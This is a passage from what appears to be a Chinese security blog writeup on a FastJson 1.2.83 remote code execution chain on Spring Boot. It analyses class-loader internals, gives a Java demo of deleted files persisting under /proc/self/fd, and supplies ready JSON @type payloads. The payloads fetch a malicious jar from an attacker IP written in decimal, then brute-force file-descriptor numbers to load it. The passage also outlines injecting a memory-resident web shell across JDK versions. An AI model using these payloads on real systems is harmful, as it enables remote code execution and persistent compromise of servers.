Resource getResource(String var1, boolean var2) {
if (this.metaIndex != null && !this.metaIndex.mayContain(var1)) {
return null;
} else {
try {
this.ensureOpen();
} catch (IOException var5) {
throw new InternalError(var5);
}
JarEntry var3 = this.jar.getJarEntry(var1);
if (var3 != null) {
return this.checkResource(var1, var2, var3);
} else if (this.index == null) {
return null;
} else {
HashSet var4 = new HashSet();
return this.getResource(var1, var2, var4);
}
}
}
...
}
因此 JarLoader 没有机会发送 HTTP 请求. 而哪些协议对应哪些 Loader, 实际上在sun.misc.URLClassPath::getLoader方法中存在判断:
因此只要初始化的 URLClassLoader 中非目录格式(避免 FileLoader)以及非单纯一个文件指向了jar 包(避免 JarLoader), 那么就能够利用Loader加载器加载远程资源! 而 SpringBoot 的 URLClassLoader 加载器刚好使用了jar:file:这种协议用于链接 FatJar 中的META-INF/lib目录, 因此LaunchedURLClassLoader能够正常选择到Loader而不是JarLoader & FileLoader, 因此 SpringBoot 的LaunchedURLClassLoader在getResourceAsStream或loadClass时能够远程发送请求.
无法 RCE 场景
SpringBoot + TomcatEmbeddedWebappClassLoader 无法 RCE
Class.forName 问题
为什么这里又提到了无法 RCE呢?刚刚能够 RCE 的原因是刚刚的案例手动设置了ContextClassLoader, 如:
但 FastJson 在运行时会锁定到 TomcatEmbeddedWebappClassLoader:
对于为什么 ContextClassLoader 是 TomcatEmbeddedWebappClassLoader, 原因是在 SpringBoot 内嵌的 Tomcat 启动初始化时, 会设置 ContextClassLoader 为 TomcatEmbeddedWebappClassLoader(SpringBoot 之殇中恰好利用的 TomcatEmbeddedWebappClassLoader 才实现 RCE).
但是在我们当前这个场景中这里不能进行直接 RCE, 原因是这里的 Class.forName 不允许连续的..出现在Class.forName中, 后续的流程:
直接抛出类无法找到异常, 但整个逻辑是先可以进行 SSRF 发起外链.
Class.forName 底层细节
对于 Class.forName 不允许出现.., 这里可以参考 kezibei 文章中的细节: https://github.com/openjdk/jdk/blob/jdk8-b120/jdk/src/share/native/java/lang/Class.c & https://github.com/openjdk/jdk/blob/30471d74345d406ce78e2ecbe5cda0d8bfdba3bf/src/java.base/share/native/libjava/check_classname.c#L131
补充细节先是将 . 转换为 /:
由于使用了指针, 因此 char 类型的 name 在接下来会判断是否存在 //, 若存在则直接抛出异常:
因此在 TomcatEmbeddedWebappClassLoader 中, 由于不再使用loadClass而采用了Class.forName的因素导致无法进行 RCE.
JDK9+ 无法 RCE
当版本切换为 JDK11 之后, 就算将 ContextClassLoader 配置为LaunchedURLClassLoader发现无法 RCE:
发现在 defineClass 处抛出异常:
ClassLoader::defineClass 底层细节
原因是 JDK 高版本中 defineClass 不允许连续的., 同样在 native 层: https://github.com/openjdk/jdk11u/blob/master/src/java.base/share/native/libjava/ClassLoader.c & https://github.com/openjdk/jdk8u/blob/master/jdk/src/share/native/java/lang/ClassLoader.c
最主要的是不允许出现连续的 //:
利用 jar:file & jar:http 进行突破
jar 文件上传回顾
此时将环境转为 Linux 环境, 这里准备了一个 Kali Linux GUI 进行分析绕过手法. 绕过手法很简单, 在之前 XXE 时我们了解过 jar 文件上传:
由于 jar 协议会往目标机器上上传临时文件, 只不过临时文件会被立马删除. 但在 Linux 系统中, 真的是这样吗?
fd 小实验 - Linux
我们可以做一个实验, 在 Linux 系统中演示 jvm:
package com.vuln.fastjson;
import java.io.*;
import java.nio.MappedByteBuffer;
import java.nio.file.*;
import java.nio.channels.*;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
public class FdTest {
public static void main(String[] args) throws Exception {
System.out.println("=== Linux fd demo: file deleted but fd still works ===\n");
System.out.println("JVM PID: " + ManagementFactory.getRuntimeMXBean().getName().split("@")[0]);
System.out.println();
demo1_basicFdSurvival();
System.out.println();
demo2_recoverViaProcFd();
System.out.println();
demo3_mmapKeepsInodeAlive();
System.out.println();
demo4_fastjsonLikeScenario();
}
static void demo1_basicFdSurvival() throws Exception {
System.out.println("--- Scenario 1: basic demo ---");
Path tmp = Files.createTempFile("fd-demo-", ".txt");
String original = "Hello from FdTest!\nThis data survives file deletion.\n";
Files.write(tmp, original.getBytes());
System.out.println("[1] Created file: " + tmp);
System.out.println(" Content: " + original.replace("\n", "\\n"));
FileInputStream fis = new FileInputStream(tmp.toFile());
int fdNum = getFdNumber(fis.getFD());
System.out.println("[2] Opened file, fd=" + fdNum);
showProcFdLink(fdNum);
Files.delete(tmp);
System.out.println("[3] Deleted file: " + tmp);
System.out.println("[4] File exists? " + Files.exists(tmp));
showProcFdLink(fdNum);
byte[] data = readAllBytes(fis);
System.out.println("[5] Read via FileInputStream: " + new String(data).replace("\n", "\\n"));
byte[] viaProc = Files.readAllBytes(Paths.get("/proc/self/fd/" + fdNum));
System.out.println("[6] Read via /proc/self/fd/" + fdNum + ": " + new String(viaProc).replace("\n", "\\n"));
fis.close();
System.out.println("[7] Closed fd");
showProcFdLink(fdNum);
}
static void demo2_recoverViaProcFd() throws Exception {
System.out.println("--- Scenario 2: recover a deleted file ---");
Path tmp = Files.createTempFile("fd-recover-", ".bin");
byte[] payload = "SECRET-DATA-12345".getBytes();
Files.write(tmp, payload);
System.out.println("[1] Created file: " + tmp + " (" + payload.length + " bytes)");
FileInputStream fis = new FileInputStream(tmp.toFile());
int fdNum = getFdNumber(fis.getFD());
System.out.println("[2] Opened, fd=" + fdNum);
Files.delete(tmp);
System.out.println("[3] Deleted original file");
System.out.println(" File exists? " + Files.exists(tmp));
Path recovered = Paths.get("/tmp/fdTest-recovered.bin");
Files.copy(Paths.get("/proc/self/fd/" + fdNum), recovered, StandardCopyOption.REPLACE_EXISTING);
System.out.println("[4] Copied /proc/self/fd/" + fdNum + " -> " + recovered);
byte[] recoveredData = Files.readAllBytes(recovered);
System.out.println("[5] Recovered content: " + new String(recoveredData));
System.out.println("[6] Content matches? " + new String(payload).equals(new String(recoveredData)));
fis.close();
Files.deleteIfExists(recovered);
}
static void demo3_mmapKeepsInodeAlive() throws Exception {
System.out.println("--- Scenario 3: mmap keeps inode alive ---");
Path tmp = Files.createTempFile("fd-mmap-", ".dat");
byte[] data = new byte[4096];
for (int i = 0; i < data.length; i++) data[i] = (byte) (i % 256);
Files.write(tmp, data);
System.out.println("[1] Created file: " + tmp + " (" + data.length + " bytes)");
try (FileChannel ch = FileChannel.open(tmp, StandardOpenOption.READ)) {
MappedByteBuffer buf = ch.map(FileChannel.MapMode.READ_ONLY, 0, data.length);
System.out.println("[2] mmap done, buffer capacity=" + buf.capacity());
int fdNum = getFdNumber(ch);
System.out.println("[3] FileChannel fd=" + fdNum);
showProcFdLink(fdNum);
Files.delete(tmp);
System.out.println("[4] Deleted file");
System.out.println(" File exists? " + Files.exists(tmp));
showProcFdLink(fdNum);
byte firstByte = buf.get(0);
byte lastByte = buf.get(data.length - 1);
System.out.println("[5] mmap read: buf[0]=" + (firstByte & 0xFF) + ", buf[end]=" + (lastByte & 0xFF));
}
System.out.println("[6] FileChannel closed");
System.out.println(" Note: mmap mapping may still hold the inode until GC");
}
static void demo4_fastjsonLikeScenario() throws Exception {
System.out.println("--- Scenario 4: simulate fastjson fd exploit mechanism ---");
System.out.println(" (open jar -> delete -> read via /proc/self/fd/N)");
Path jarPath = Paths.get("/tmp/fdTest-probe.jar");
createSimpleJar(jarPath);
RandomAccessFile raf = new RandomAccessFile(jarPath.toFile(), "r");
int fdNum = getFdNumber(raf.getFD());
System.out.println("[1] Opened jar: " + jarPath + ", fd=" + fdNum);
showProcFdLink(fdNum);
Files.delete(jarPath);
System.out.println("[2] Deleted jar");
System.out.println(" Jar exists? " + Files.exists(jarPath));
showProcFdLink(fdNum);
long size = raf.length();
System.out.println("[3] Read jar size via fd: " + size + " bytes");
String simulatedPayload = "jar:file:/proc/self/fd/" + fdNum + "!/META-INF/MANIFEST.MF";
System.out.println("[4] Simulated fastjson payload: " + simulatedPayload);
Path viaFd = Paths.get("/proc/self/fd/" + fdNum);
System.out.println("[5] /proc/self/fd/" + fdNum + " accessible? " + Files.exists(viaFd));
System.out.println(" Size: " + Files.size(viaFd) + " bytes");
raf.close();
System.out.println("[6] Closed fd, jar inode truly released");
}
static int getFdNumber(FileDescriptor fd) throws Exception {
Field f = FileDescriptor.class.getDeclaredField("fd");
f.setAccessible(true);
return (int) f.get(fd);
}
static int getFdNumber(FileChannel ch) throws Exception {
Field f = ch.getClass().getDeclaredField("fd");
f.setAccessible(true);
Object fdVal = f.get(ch);
return getFdNumber((FileDescriptor) fdVal);
}
static void showProcFdLink(int fdNum) throws IOException {
Path link = Paths.get("/proc/self/fd/" + fdNum);
if (Files.exists(link)) {
Path target = Files.readSymbolicLink(link);
System.out.println(" /proc/self/fd/" + fdNum + " -> " + target);
} else {
System.out.println(" /proc/self/fd/" + fdNum + " (does not exist, fd closed)");
}
}
static byte[] readAllBytes(InputStream is) throws IOException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
int n;
while ((n = is.read(buf)) != -1) {
bos.write(buf, 0, n);
}
return bos.toByteArray();
}
static void createSimpleJar(Path jarPath) throws IOException {
try (java.util.jar.JarOutputStream jos = new java.util.jar.JarOutputStream(
new FileOutputStream(jarPath.toFile()))) {
jos.putNextEntry(new java.util.jar.JarEntry("META-INF/MANIFEST.MF"));
jos.write("Manifest-Version: 1.0\nCreated-By: FdTest\n".getBytes());
jos.closeEntry();
jos.putNextEntry(new java.util.jar.JarEntry("fd3/Exception.class"));
jos.write("fake class bytes".getBytes());
jos.closeEntry();
}
System.out.println(" (created test jar: " + jarPath + ")");
}
}
这个案例中, 只要还有任何 fd 的方式指向了该文件, 那么该文件则会驻留到 /proc/self/fd/{ID} 中. 因此 jar:http: 从远程服务器获取到的 jar 文件存在被驻留到 /proc/self/fd 的可能!
fastjson 中复现
接下来我们看看当前场景如何将临时文件保留下来, 首先我准备了一个 Hello.zip 文件(但实际运用中需要将.zip 后缀去掉原因是 payload 中不能包含.会被转换为/), 其中包含 Hello.class, 在发送请求之前先对攻击机机的 ip 地址进行十进制转换:
172.29.112.1 计算为十进制:
172 × 256³ + 29 × 256² + 112 × 256¹ + 1 × 256⁰
= 172 × 16777216 + 29 × 65536 + 112 × 256 + 1
= 2885681152 + 1900544 + 28672 + 1
= 2887610369
结果:2887610369
随后在攻击机中使用 python 进行监听一个 http.server, 发送 payload:
可以看到的是成功获取到了 HTTP 请求, 随后在受害机器中查看是否生产出来了 /proc/self/fd/{id}:
可以看到的是, 这里成功将我们攻击机想要传递的文件成功驻留到/proc/JVM_PROCESS_ID/fd/随机数中了. 那么驻留该文件有什么用呢?
答案是jar:file:/proc/JVM_PROCESS_ID/fd/随机数!/类名语法中, 不会出现连续的/! 可以解锁:
SpringBoot + TomcatEmbeddedWebappClassLoader 场景下 避免 Class.forName 方法阻拦连续的 /JDK9+ 下的 ClassLoader::defineClass 场景下 避免 native 层方法阻拦连续的 /
字节码问题 & 包名问题
通过上述流程我们明确了无视 JDK 版本的攻击分为:
- 使用:
{"@type":"jar:http:..2887610369(攻击机 IP 的 10 进制):2333(攻击机端口).Hello!.Hello","val":1}
将恶意 jar 包驻留到受害机中的 /proc/JVM_PROCESS_ID/fd 中
- 使用:
{"@type":"jar:file:.proc.self.fd.{爆破的数值1-100}!.类名","val":1}
来尝试暴力破解出 fd 的缓存值, 并且加载攻击者放置的恶意类名达到字节码注入到 JVM 内存的目的.
不过现在存在一个问题, 在之前测试时, defineClass 的值为:
因此这里定义类名必须为jar:file:.proc.self.fd.{爆破的数值1-100}!.类名, 否则 defineClass 会抛出与类名不匹配的错误.
比如按照上述案例继续测试:
根据这个案例, 我们可以发现的是这里类必须存在特定的包名, 以 Hello 类为例,其加载路径必须形如 jar:file:/proc/self/fd/29!/,其中 29 即为爆破目标 —— 在类数据写入受害机前,我们必须预测它将占据 /proc/self/fd/ 下的哪个编号。口述比较麻烦, 用 AI 画张图:
这张图中, 只有场景 A 能够达到 RCE 的效果, 场景 B 和场景 C 均会失效!
RCE 概率问题
如何在这个基础之上, 增加 RCE 的概率?我发现两个 Payload 只能分开发送, 当然分开发送可以参考 https://mp.weixin.qq.com/s/2NLGg2_8CqWvAn2qrIoTFw 中爆破可能会增加 fd 的数量, 因此不如将请求定义为一次发送:
{"@type":"jar:http:..2887610369:2333.Hello!.Hello","@type":"jar:file:.proc.self.fd.70!.Hello"}
不过当我定义完一次发送之后, 发现后面的jar:file:.proc.self.fd.70!.Hello根本无法访问, 答案是 FastJson 提前抛出异常退出了:
不过若类名末尾为 Exception, 这里会返回 null 不会抛出异常, 因此有如下 payload 能将其定义为一行:
{"@type":"jar:http:..2887610369:2333.HelloException!.HelloException","@type":"jar:file:.proc.self.fd.70!.HelloException"}
其中服务端响应也 OK:
但实战发现当 jar 包内容数量过多时, 会造成死锁问题. 故不考虑这种方式(可能存在一些突破?).
RCE 思路 & 最终实现
- 创建一个 jar 包, 其中包含
fd0.Exception, fd1.Exception, fd2.Exception..., 并且通过
{"@type":"jar:http:..2887610369(攻击者IP的10进制):2333(攻击者监听的端口).生成的jar包名称!.1"
对受害机的 /proc/self/fd 进行缓存.
- 由于不知道缓存的 fd 的数值是多少, 因此需要使用:
{"@type":"jar:file:.proc.self.fd.数值爆破!.fd数值爆破.类名"}
其中数值爆破部分, 可以通过:
进行爆破,这里的类名需要遵循 @type 的类名规范,使用 ASM 调教 AI 很容易编写出来相应的脚本。
最终效果:
注入内存马版本(JDK8, JDK11, JDK17...)
在 JDK 8 / JDK 17 的内存马注入中,我们知道 JDK17 中通常需要使用 MethodHandlers.lookup().defineClass 进行注入内存马,但当前 fastjson 环境最终是进入Class.forName || ClassLoader::defineClass。直接性的代码执行,为了版本的兼容性我们可以直接将注入的类继承自 ClassLoader,在 static 代码块中直接执行即可。
ASM 最终生成的 Class 文件:
这里可以直接通吃 JDK8 / 17,只不过需要注意的是生成内存马时一定要选择内存马版本:
否则可能会遇到内存马注入失败的场景.
Reference
官方原文: https://fearsoff.org/research/fastjson-1-2-83-rce
fastjson GitHub 更新提示: https://fearsoff.org/cn/research/fastjson-1-2-83-rce
1.2.83 详情: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
真实环境打 fastjson 1.2.83 rce?答案是有点难: https://mp.weixin.qq.com/s/2LKuHMAv1HQkIc_vyr1kxA
Fastjson 二次发包实战其实也难以利用: https://mp.weixin.qq.com/s/2NLGg2_8CqWvAn2qrIoTFw
SpringBoot + undertow | jetty: https://mp.weixin.qq.com/s/ngrBwRPtFzM4G3A_P9SCog






































